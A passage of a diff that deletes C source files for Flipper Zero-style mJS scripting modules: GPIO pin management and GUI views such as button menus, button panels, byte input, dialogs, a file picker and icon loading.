manager_data->pwm_output = pin_record->pwm_output;
JS_ASSIGN_MULTI(mjs, manager) {
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, manager_data));
JS_FIELD("init", MJS_MK_FN(js_gpio_init));
JS_FIELD("write", MJS_MK_FN(js_gpio_write));
JS_FIELD("read", MJS_MK_FN(js_gpio_read));
JS_FIELD("readAnalog", MJS_MK_FN(js_gpio_read_analog));
JS_FIELD("interrupt", MJS_MK_FN(js_gpio_interrupt));
JS_FIELD("isPwmSupported", MJS_MK_FN(js_gpio_is_pwm_supported));
JS_FIELD("pwmWrite", MJS_MK_FN(js_gpio_pwm_write));
JS_FIELD("isPwmRunning", MJS_MK_FN(js_gpio_is_pwm_running));
JS_FIELD("pwmStop", MJS_MK_FN(js_gpio_pwm_stop));
}
mjs_return(mjs, manager);
// remember pin
ManagedPinsArray_push_back(module->managed_pins, manager_data);
}
static void* js_gpio_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
JsEventLoop* js_loop = js_module_get(modules, "event_loop");
if(M_UNLIKELY(!js_loop)) return NULL;
FuriEventLoop* loop = js_event_loop_get_loop(js_loop);
JsGpioInst* module = malloc(sizeof(JsGpioInst));
ManagedPinsArray_init(module->managed_pins);
module->adc_handle = furi_hal_adc_acquire();
module->loop = loop;
furi_hal_adc_configure(module->adc_handle);
mjs_val_t gpio_obj = mjs_mk_object(mjs);
mjs_set(mjs, gpio_obj, INST_PROP_NAME, ~0, mjs_mk_foreign(mjs, module));
mjs_set(mjs, gpio_obj, "get", ~0, MJS_MK_FN(js_gpio_get));
*object = gpio_obj;
return (void*)module;
}
static void js_gpio_destroy(void* inst) {
furi_assert(inst);
JsGpioInst* module = (JsGpioInst*)inst;
// reset pins
for
M_EACH(item, module->managed_pins, ManagedPinsArray_t) {
JsGpioPinInst* manager_data = *item;
if(manager_data->had_interrupt) {
furi_hal_gpio_disable_int_callback(manager_data->pin);
furi_hal_gpio_remove_int_callback(manager_data->pin);
}
if(manager_data->pwm_output != FuriHalPwmOutputIdNone) {
if(furi_hal_pwm_is_running(manager_data->pwm_output))
furi_hal_pwm_stop(manager_data->pwm_output);
}
furi_hal_gpio_init(manager_data->pin, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
furi_event_loop_maybe_unsubscribe(module->loop, manager_data->interrupt_semaphore);
furi_semaphore_free(manager_data->interrupt_semaphore);
free(manager_data->interrupt_contract);
free(manager_data);
}
// free buffers
furi_hal_adc_release(module->adc_handle);
ManagedPinsArray_clear(module->managed_pins);
free(module);
}
static const JsModuleDescriptor js_gpio_desc = {
"gpio",
js_gpio_create,
js_gpio_destroy,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_gpio_desc,
};
const FlipperAppPluginDescriptor* js_gpio_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,169 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/button_menu.h>
#include <toolbox/str_buffer.h>
typedef struct {
int32_t next_index;
StrBuffer str_buffer;
FuriMessageQueue* input_queue;
JsEventLoopContract contract;
} JsBtnMenuContext;
typedef struct {
int32_t index;
InputType input_type;
} JsBtnMenuEvent;
static const char* js_input_type_to_str(InputType type) {
switch(type) {
case InputTypePress:
return "press";
case InputTypeRelease:
return "release";
case InputTypeShort:
return "short";
case InputTypeLong:
return "long";
case InputTypeRepeat:
return "repeat";
default:
furi_crash();
}
}
static mjs_val_t
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsBtnMenuContext* context) {
UNUSED(context);
JsBtnMenuEvent event;
furi_check(furi_message_queue_get(queue, &event, 0) == FuriStatusOk);
mjs_val_t event_obj = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, event_obj) {
JS_FIELD("index", mjs_mk_number(mjs, event.index));
JS_FIELD("type", mjs_mk_string(mjs, js_input_type_to_str(event.input_type), ~0, false));
}
return event_obj;
}
static void input_callback(void* ctx, int32_t index, InputType type) {
JsBtnMenuContext* context = ctx;
JsBtnMenuEvent event = {
.index = index,
.input_type = type,
};
furi_check(furi_message_queue_put(context->input_queue, &event, 0) == FuriStatusOk);
}
static bool matrix_header_assign(
struct mjs* mjs,
ButtonMenu* menu,
JsViewPropValue value,
JsBtnMenuContext* context) {
UNUSED(mjs);
button_menu_set_header(menu, str_buffer_make_owned_clone(&context->str_buffer, value.string));
return true;
}
static bool js_button_menu_add_child(
struct mjs* mjs,
ButtonMenu* menu,
JsBtnMenuContext* context,
mjs_val_t child_obj) {
static const JsValueEnumVariant js_button_menu_item_type_variants[] = {
{"common", ButtonMenuItemTypeCommon},
{"control", ButtonMenuItemTypeControl},
};
static const JsValueDeclaration js_button_menu_item_type =
JS_VALUE_ENUM(ButtonMenuItemType, js_button_menu_item_type_variants);
static const JsValueDeclaration js_button_menu_string = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueObjectField js_button_menu_child_fields[] = {
{"type", &js_button_menu_item_type},
{"label", &js_button_menu_string},
};
static const JsValueDeclaration js_button_menu_child =
JS_VALUE_OBJECT(js_button_menu_child_fields);
ButtonMenuItemType item_type;
const char* label;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_menu_child),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&item_type,
&label);
if(status != JsValueParseStatusOk) return false;
button_menu_add_item(
menu,
str_buffer_make_owned_clone(&context->str_buffer, label),
context->next_index++,
input_callback,
item_type,
context);
return true;
}
static void js_button_menu_reset_children(ButtonMenu* menu, JsBtnMenuContext* context) {
context->next_index = 0;
button_menu_reset(menu);
str_buffer_clear_all_clones(&context->str_buffer);
}
static JsBtnMenuContext* ctx_make(struct mjs* mjs, ButtonMenu* menu, mjs_val_t view_obj) {
UNUSED(menu);
JsBtnMenuContext* context = malloc(sizeof(JsBtnMenuContext));
*context = (JsBtnMenuContext){
.next_index = 0,
.str_buffer = {0},
.input_queue = furi_message_queue_alloc(1, sizeof(JsBtnMenuEvent)),
};
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
.object = context->input_queue,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
.transformer_context = context,
},
};
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
return context;
}
static void ctx_destroy(ButtonMenu* input, JsBtnMenuContext* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->input_queue);
furi_message_queue_free(context->input_queue);
str_buffer_clear_all_clones(&context->str_buffer);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)button_menu_alloc,
.free = (JsViewFree)button_menu_free,
.get_view = (JsViewGetView)button_menu_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.add_child = (JsViewAddChild)js_button_menu_add_child,
.reset_children = (JsViewResetChildren)js_button_menu_reset_children,
.prop_cnt = 1,
.props = {
(JsViewPropDescriptor){
.name = "header",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)matrix_header_assign},
}};
JS_GUI_VIEW_DEF(button_menu, &view_descriptor);

View File

@@ -1,274 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/button_panel.h>
#include <toolbox/str_buffer.h>
typedef struct {
size_t matrix_x, matrix_y;
int32_t next_index;
StrBuffer str_buffer;
FuriMessageQueue* input_queue;
JsEventLoopContract contract;
} JsBtnPanelContext;
typedef struct {
int32_t index;
InputType input_type;
} JsBtnPanelEvent;
static const char* js_input_type_to_str(InputType type) {
switch(type) {
case InputTypePress:
return "press";
case InputTypeRelease:
return "release";
case InputTypeShort:
return "short";
case InputTypeLong:
return "long";
case InputTypeRepeat:
return "repeat";
default:
furi_crash();
}
}
static mjs_val_t
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsBtnPanelContext* context) {
UNUSED(context);
JsBtnPanelEvent event;
furi_check(furi_message_queue_get(queue, &event, 0) == FuriStatusOk);
mjs_val_t event_obj = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, event_obj) {
JS_FIELD("index", mjs_mk_number(mjs, event.index));
JS_FIELD("type", mjs_mk_string(mjs, js_input_type_to_str(event.input_type), ~0, false));
}
return event_obj;
}
static void input_callback(void* ctx, int32_t index, InputType type) {
JsBtnPanelContext* context = ctx;
JsBtnPanelEvent event = {
.index = index,
.input_type = type,
};
furi_check(furi_message_queue_put(context->input_queue, &event, 0) == FuriStatusOk);
}
static bool matrix_size_x_assign(
struct mjs* mjs,
ButtonPanel* panel,
JsViewPropValue value,
JsBtnPanelContext* context) {
UNUSED(mjs);
context->matrix_x = value.number;
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
return true;
}
static bool matrix_size_y_assign(
struct mjs* mjs,
ButtonPanel* panel,
JsViewPropValue value,
JsBtnPanelContext* context) {
UNUSED(mjs);
context->matrix_y = value.number;
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
return true;
}
static bool js_button_panel_add_child(
struct mjs* mjs,
ButtonPanel* panel,
JsBtnPanelContext* context,
mjs_val_t child_obj) {
typedef enum {
JsButtonPanelChildTypeButton,
JsButtonPanelChildTypeLabel,
JsButtonPanelChildTypeIcon,
} JsButtonPanelChildType;
static const JsValueEnumVariant js_button_panel_child_type_variants[] = {
{"button", JsButtonPanelChildTypeButton},
{"label", JsButtonPanelChildTypeLabel},
{"icon", JsButtonPanelChildTypeIcon},
};
static const JsValueDeclaration js_button_panel_child_type =
JS_VALUE_ENUM(JsButtonPanelChildType, js_button_panel_child_type_variants);
static const JsValueDeclaration js_button_panel_number = JS_VALUE_SIMPLE(JsValueTypeInt32);
static const JsValueObjectField js_button_panel_common_fields[] = {
{"type", &js_button_panel_child_type},
{"x", &js_button_panel_number},
{"y", &js_button_panel_number},
};
static const JsValueDeclaration js_button_panel_common =
JS_VALUE_OBJECT(js_button_panel_common_fields);
static const JsValueDeclaration js_button_panel_pointer =
JS_VALUE_SIMPLE(JsValueTypeRawPointer);
static const JsValueObjectField js_button_panel_button_fields[] = {
{"matrixX", &js_button_panel_number},
{"matrixY", &js_button_panel_number},
{"icon", &js_button_panel_pointer},
{"iconSelected", &js_button_panel_pointer},
};
static const JsValueDeclaration js_button_panel_button =
JS_VALUE_OBJECT(js_button_panel_button_fields);
static const JsValueDeclaration js_button_panel_string = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueObjectField js_button_panel_label_fields[] = {
{"text", &js_button_panel_string},
{"font", &js_gui_font_declaration},
};
static const JsValueDeclaration js_button_panel_label =
JS_VALUE_OBJECT(js_button_panel_label_fields);
static const JsValueObjectField js_button_panel_icon_fields[] = {
{"icon", &js_button_panel_pointer},
};
static const JsValueDeclaration js_button_panel_icon =
JS_VALUE_OBJECT(js_button_panel_icon_fields);
JsButtonPanelChildType child_type;
int32_t x, y;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_common),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&child_type,
&x,
&y);
if(status != JsValueParseStatusOk) return false;
switch(child_type) {
case JsButtonPanelChildTypeButton: {
int32_t matrix_x, matrix_y;
const Icon *icon, *icon_selected;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_button),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&matrix_x,
&matrix_y,
&icon,
&icon_selected);
if(status != JsValueParseStatusOk) return false;
button_panel_add_item(
panel,
context->next_index++,
matrix_x,
matrix_y,
x,
y,
icon,
icon_selected,
(ButtonItemCallback)input_callback,
context);
break;
}
case JsButtonPanelChildTypeLabel: {
const char* text;
Font font;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_label),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&text,
&font);
if(status != JsValueParseStatusOk) return false;
button_panel_add_label(
panel, x, y, font, str_buffer_make_owned_clone(&context->str_buffer, text));
break;
}
case JsButtonPanelChildTypeIcon: {
const Icon* icon;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&js_button_panel_icon),
JsValueParseFlagReturnOnError,
&status,
&child_obj,
&icon);
if(status != JsValueParseStatusOk) return false;
button_panel_add_icon(panel, x, y, icon);
break;
}
}
return true;
}
static void js_button_panel_reset_children(ButtonPanel* panel, JsBtnPanelContext* context) {
context->next_index = 0;
button_panel_reset(panel);
button_panel_reserve(panel, context->matrix_x, context->matrix_y);
str_buffer_clear_all_clones(&context->str_buffer);
}
static JsBtnPanelContext* ctx_make(struct mjs* mjs, ButtonPanel* panel, mjs_val_t view_obj) {
UNUSED(panel);
JsBtnPanelContext* context = malloc(sizeof(JsBtnPanelContext));
*context = (JsBtnPanelContext){
.matrix_x = 1,
.matrix_y = 1,
.next_index = 0,
.str_buffer = {0},
.input_queue = furi_message_queue_alloc(1, sizeof(JsBtnPanelEvent)),
};
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
.object = context->input_queue,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
.transformer_context = context,
},
};
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
return context;
}
static void ctx_destroy(ButtonPanel* input, JsBtnPanelContext* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->input_queue);
furi_message_queue_free(context->input_queue);
str_buffer_clear_all_clones(&context->str_buffer);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)button_panel_alloc,
.free = (JsViewFree)button_panel_free,
.get_view = (JsViewGetView)button_panel_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.add_child = (JsViewAddChild)js_button_panel_add_child,
.reset_children = (JsViewResetChildren)js_button_panel_reset_children,
.prop_cnt = 2,
.props = {
(JsViewPropDescriptor){
.name = "matrixSizeX",
.type = JsViewPropTypeNumber,
.assign = (JsViewPropAssign)matrix_size_x_assign},
(JsViewPropDescriptor){
.name = "matrixSizeY",
.type = JsViewPropTypeNumber,
.assign = (JsViewPropAssign)matrix_size_y_assign},
}};
JS_GUI_VIEW_DEF(button_panel, &view_descriptor);

View File

@@ -1,158 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/byte_input.h>
#define DEFAULT_BUF_SZ 4
typedef struct {
uint8_t* buffer;
size_t buffer_size;
size_t default_data_size;
FuriString* header;
FuriSemaphore* input_semaphore;
JsEventLoopContract contract;
} JsByteKbContext;
static mjs_val_t
input_transformer(struct mjs* mjs, FuriSemaphore* semaphore, JsByteKbContext* context) {
furi_check(furi_semaphore_acquire(semaphore, 0) == FuriStatusOk);
return mjs_mk_array_buf(mjs, (char*)context->buffer, context->buffer_size);
}
static void input_callback(JsByteKbContext* context) {
furi_semaphore_release(context->input_semaphore);
}
static bool header_assign(
struct mjs* mjs,
ByteInput* input,
JsViewPropValue value,
JsByteKbContext* context) {
UNUSED(mjs);
furi_string_set(context->header, value.string);
byte_input_set_header_text(input, furi_string_get_cstr(context->header));
return true;
}
static bool
len_assign(struct mjs* mjs, ByteInput* input, JsViewPropValue value, JsByteKbContext* context) {
UNUSED(mjs);
UNUSED(input);
size_t new_buffer_size = value.number;
if(new_buffer_size < context->default_data_size) {
// Avoid confusing parameters from user
mjs_prepend_errorf(
mjs, MJS_BAD_ARGS_ERROR, "length must be larger than defaultData length");
return false;
}
context->buffer_size = new_buffer_size;
context->buffer = realloc(context->buffer, context->buffer_size); //-V701
byte_input_set_result_callback(
input,
(ByteInputCallback)input_callback,
NULL,
context,
context->buffer,
context->buffer_size);
return true;
}
static bool default_data_assign(
struct mjs* mjs,
ByteInput* input,
JsViewPropValue value,
JsByteKbContext* context) {
UNUSED(mjs);
mjs_val_t array_buf = value.term;
if(mjs_is_data_view(array_buf)) {
array_buf = mjs_dataview_get_buf(mjs, array_buf);
}
char* default_data = mjs_array_buf_get_ptr(mjs, array_buf, &context->default_data_size);
if(context->buffer_size < context->default_data_size) {
// Ensure buffer is large enough for defaultData
context->buffer_size = context->default_data_size;
context->buffer = realloc(context->buffer, context->buffer_size); //-V701
}
memcpy(context->buffer, (uint8_t*)default_data, context->default_data_size);
if(context->buffer_size > context->default_data_size) {
// Reset previous data after defaultData
memset(
context->buffer + context->default_data_size,
0x00,
context->buffer_size - context->default_data_size);
}
byte_input_set_result_callback(
input,
(ByteInputCallback)input_callback,
NULL,
context,
context->buffer,
context->buffer_size);
return true;
}
static JsByteKbContext* ctx_make(struct mjs* mjs, ByteInput* input, mjs_val_t view_obj) {
JsByteKbContext* context = malloc(sizeof(JsByteKbContext));
*context = (JsByteKbContext){
.buffer_size = DEFAULT_BUF_SZ,
.buffer = malloc(DEFAULT_BUF_SZ),
.header = furi_string_alloc(),
.input_semaphore = furi_semaphore_alloc(1, 0),
};
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeSemaphore,
.object = context->input_semaphore,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
.transformer_context = context,
},
};
byte_input_set_result_callback(
input,
(ByteInputCallback)input_callback,
NULL,
context,
context->buffer,
context->buffer_size);
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
return context;
}
static void ctx_destroy(ByteInput* input, JsByteKbContext* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->input_semaphore);
furi_semaphore_free(context->input_semaphore);
furi_string_free(context->header);
free(context->buffer);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)byte_input_alloc,
.free = (JsViewFree)byte_input_free,
.get_view = (JsViewGetView)byte_input_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.prop_cnt = 3,
.props = {
(JsViewPropDescriptor){
.name = "header",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)header_assign},
(JsViewPropDescriptor){
.name = "length",
.type = JsViewPropTypeNumber,
.assign = (JsViewPropAssign)len_assign},
(JsViewPropDescriptor){
.name = "defaultData",
.type = JsViewPropTypeTypedArr,
.assign = (JsViewPropAssign)default_data_assign},
}};
JS_GUI_VIEW_DEF(byte_input, &view_descriptor);

View File

@@ -1,129 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include "../js_event_loop/js_event_loop.h"
#include <gui/modules/dialog_ex.h>
#define QUEUE_LEN 2
typedef struct {
FuriMessageQueue* queue;
JsEventLoopContract contract;
} JsDialogCtx;
static mjs_val_t
input_transformer(struct mjs* mjs, FuriMessageQueue* queue, JsDialogCtx* context) {
UNUSED(context);
DialogExResult result;
furi_check(furi_message_queue_get(queue, &result, 0) == FuriStatusOk);
const char* string;
if(result == DialogExResultLeft) {
string = "left";
} else if(result == DialogExResultCenter) {
string = "center";
} else if(result == DialogExResultRight) {
string = "right";
} else {
furi_crash();
}
return mjs_mk_string(mjs, string, ~0, false);
}
static void input_callback(DialogExResult result, JsDialogCtx* context) {
furi_check(furi_message_queue_put(context->queue, &result, 0) == FuriStatusOk);
}
static bool
header_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_header(dialog, value.string, 64, 0, AlignCenter, AlignTop);
return true;
}
static bool
text_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_text(dialog, value.string, 64, 32, AlignCenter, AlignCenter);
return true;
}
static bool
left_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_left_button_text(dialog, value.string);
return true;
}
static bool
center_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_center_button_text(dialog, value.string);
return true;
}
static bool
right_assign(struct mjs* mjs, DialogEx* dialog, JsViewPropValue value, JsDialogCtx* context) {
UNUSED(mjs);
UNUSED(context);
dialog_ex_set_right_button_text(dialog, value.string);
return true;
}
static JsDialogCtx* ctx_make(struct mjs* mjs, DialogEx* dialog, mjs_val_t view_obj) {
JsDialogCtx* context = malloc(sizeof(JsDialogCtx));
context->queue = furi_message_queue_alloc(QUEUE_LEN, sizeof(DialogExResult));
context->contract = (JsEventLoopContract){
.magic = JsForeignMagic_JsEventLoopContract,
.object_type = JsEventLoopObjectTypeQueue,
.object = context->queue,
.non_timer =
{
.event = FuriEventLoopEventIn,
.transformer = (JsEventLoopTransformer)input_transformer,
},
};
mjs_set(mjs, view_obj, "input", ~0, mjs_mk_foreign(mjs, &context->contract));
dialog_ex_set_result_callback(dialog, (DialogExResultCallback)input_callback);
dialog_ex_set_context(dialog, context);
return context;
}
static void ctx_destroy(DialogEx* input, JsDialogCtx* context, FuriEventLoop* loop) {
UNUSED(input);
furi_event_loop_maybe_unsubscribe(loop, context->queue);
furi_message_queue_free(context->queue);
free(context);
}
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)dialog_ex_alloc,
.free = (JsViewFree)dialog_ex_free,
.get_view = (JsViewGetView)dialog_ex_get_view,
.custom_make = (JsViewCustomMake)ctx_make,
.custom_destroy = (JsViewCustomDestroy)ctx_destroy,
.prop_cnt = 5,
.props = {
(JsViewPropDescriptor){
.name = "header",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)header_assign},
(JsViewPropDescriptor){
.name = "text",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)text_assign},
(JsViewPropDescriptor){
.name = "left",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)left_assign},
(JsViewPropDescriptor){
.name = "center",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)center_assign},
(JsViewPropDescriptor){
.name = "right",
.type = JsViewPropTypeString,
.assign = (JsViewPropAssign)right_assign},
}};
JS_GUI_VIEW_DEF(dialog, &view_descriptor);

View File

@@ -1,12 +0,0 @@
#include "../../js_modules.h" // IWYU pragma: keep
#include "js_gui.h"
#include <gui/modules/empty_screen.h>
static const JsViewDescriptor view_descriptor = {
.alloc = (JsViewAlloc)empty_screen_alloc,
.free = (JsViewFree)empty_screen_free,
.get_view = (JsViewGetView)empty_screen_get_view,
.prop_cnt = 0,
.props = {},
};
JS_GUI_VIEW_DEF(empty_screen, &view_descriptor);

View File

@@ -1,53 +0,0 @@
#include "../../js_modules.h"
#include <dialogs/dialogs.h>
#include <assets_icons.h>
static void js_gui_file_picker_pick_file(struct mjs* mjs) {
static const JsValueDeclaration js_picker_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeString),
JS_VALUE_SIMPLE(JsValueTypeString),
};
static const JsValueArguments js_picker_args = JS_VALUE_ARGS(js_picker_arg_list);
const char *base_path, *extension;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_picker_args, &base_path, &extension);
DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS);
const DialogsFileBrowserOptions browser_options = {
.extension = extension,
.icon = &I_file_10px,
.base_path = base_path,
};
FuriString* path = furi_string_alloc_set(base_path);
if(dialog_file_browser_show(dialogs, path, path, &browser_options)) {
mjs_return(mjs, mjs_mk_string(mjs, furi_string_get_cstr(path), ~0, true));
} else {
mjs_return(mjs, MJS_UNDEFINED);
}
furi_string_free(path);
furi_record_close(RECORD_DIALOGS);
}
static void* js_gui_file_picker_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
*object = mjs_mk_object(mjs);
mjs_set(mjs, *object, "pickFile", ~0, MJS_MK_FN(js_gui_file_picker_pick_file));
return NULL;
}
static const JsModuleDescriptor js_gui_file_picker_desc = {
"gui__file_picker",
js_gui_file_picker_create,
NULL,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
.ep_api_version = PLUGIN_API_VERSION,
.entry_point = &js_gui_file_picker_desc,
};
const FlipperAppPluginDescriptor* js_gui_file_picker_ep(void) {
return &plugin_descriptor;
}

View File

@@ -1,160 +0,0 @@
#include "../../js_modules.h"
#include <assets_icons.h>
#include <core/dangerous_defines.h>
#include <gui/icon_i.h>
#include <m-list.h>
typedef struct {
const char* name;
const Icon* data;
} IconDefinition;
#define ICON_DEF(icon) \
(IconDefinition) { \
.name = #icon, .data = &I_##icon \
}
#define ANIM_ICON_DEF(icon) \
(IconDefinition) { \
.name = #icon, .data = &A_##icon \
}
static const IconDefinition builtin_icons[] = {
// [NO_DOLPHIN] ICON_DEF(DolphinWait_59x54),
ICON_DEF(js_script_10px),
ICON_DEF(off_19x20),
ICON_DEF(off_hover_19x20),
ICON_DEF(power_19x20),
ICON_DEF(power_hover_19x20),
ANIM_ICON_DEF(Settings_14),
};
// Firmware's Icon struct needs a frames array, and uses a small CompressHeader
// Here we use a variable size allocation to add the uncompressed data in same allocation
// Also use a one-long array pointing to later in the same struct as the frames array
// CompressHeader includes a first is_compressed byte so we don't need to compress (.fxbm is uncompressed)
typedef struct FURI_PACKED {
Icon icon;
uint8_t* frames[1];
struct {
uint8_t is_compressed;
uint8_t uncompressed_data[];
} frame;
} FxbmIconWrapper;
LIST_DEF(FxbmIconWrapperList, FxbmIconWrapper*, M_PTR_OPLIST); // NOLINT
#define M_OPL_FxbmIconWrapperList_t() LIST_OPLIST(FxbmIconWrapperList)
typedef struct {
FxbmIconWrapperList_t fxbm_list;
} JsGuiIconInst;
static const JsValueDeclaration js_icon_get_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeString),
};
static const JsValueArguments js_icon_get_args = JS_VALUE_ARGS(js_icon_get_arg_list);
static void js_gui_icon_get_builtin(struct mjs* mjs) {
const char* icon_name;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_icon_get_args, &icon_name);
for(size_t i = 0; i < COUNT_OF(builtin_icons); i++) {
if(strcmp(icon_name, builtin_icons[i].name) == 0) {
mjs_return(mjs, mjs_mk_foreign(mjs, (void*)builtin_icons[i].data));
return;
}
}
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "no such built-in icon");
}
static void js_gui_icon_load_fxbm(struct mjs* mjs) {
const char* fxbm_path;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_icon_get_args, &fxbm_path);
Storage* storage = furi_record_open(RECORD_STORAGE);
File* file = storage_file_alloc(storage);
FxbmIconWrapper* fxbm = NULL;
do {
if(!storage_file_open(file, fxbm_path, FSAM_READ, FSOM_OPEN_EXISTING)) {
break;
}
struct {
uint32_t size; // Total following size including width and height values
uint32_t width;
uint32_t height;
} fxbm_header;
if(storage_file_read(file, &fxbm_header, sizeof(fxbm_header)) != sizeof(fxbm_header)) {
break;
}
size_t frame_size = fxbm_header.size - sizeof(uint32_t) * 2;
fxbm = malloc(sizeof(FxbmIconWrapper) + frame_size);
if(storage_file_read(file, fxbm->frame.uncompressed_data, frame_size) != frame_size) {
free(fxbm);
fxbm = NULL;
break;
}
FURI_CONST_ASSIGN(fxbm->icon.width, fxbm_header.width);
FURI_CONST_ASSIGN(fxbm->icon.height, fxbm_header.height);
FURI_CONST_ASSIGN(fxbm->icon.frame_count, 1);
FURI_CONST_ASSIGN(fxbm->icon.frame_rate, 1);
FURI_CONST_ASSIGN_PTR(fxbm->icon.frames, fxbm->frames);
fxbm->frames[0] = (void*)&fxbm->frame;
fxbm->frame.is_compressed = false;
} while(false);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
if(!fxbm) {
JS_ERROR_AND_RETURN(mjs, MJS_BAD_ARGS_ERROR, "could not load .fxbm icon");
}
JsGuiIconInst* js_icon = JS_GET_CONTEXT(mjs);
FxbmIconWrapperList_push_back(js_icon->fxbm_list, fxbm);
mjs_return(mjs, mjs_mk_foreign(mjs, (void*)&fxbm->icon));
}
static void* js_gui_icon_create(struct mjs* mjs, mjs_val_t* object, JsModules* modules) {
UNUSED(modules);
JsGuiIconInst* js_icon = malloc(sizeof(JsGuiIconInst));
FxbmIconWrapperList_init(js_icon->fxbm_list);
*object = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, *object) {
JS_FIELD(INST_PROP_NAME, mjs_mk_foreign(mjs, js_icon));
JS_FIELD("getBuiltin", MJS_MK_FN(js_gui_icon_get_builtin));
JS_FIELD("loadFxbm", MJS_MK_FN(js_gui_icon_load_fxbm));
}
return js_icon;
}
static void js_gui_icon_destroy(void* inst) {
JsGuiIconInst* js_icon = inst;
for
M_EACH(fxbm, js_icon->fxbm_list, FxbmIconWrapperList_t) {
free(*fxbm);
}
FxbmIconWrapperList_clear(js_icon->fxbm_list);
free(js_icon);
}
static const JsModuleDescriptor js_gui_icon_desc = {
"gui__icon",
js_gui_icon_create,
js_gui_icon_destroy,
NULL,
};
static const FlipperAppPluginDescriptor plugin_descriptor = {
.appid = PLUGIN_APP_ID,
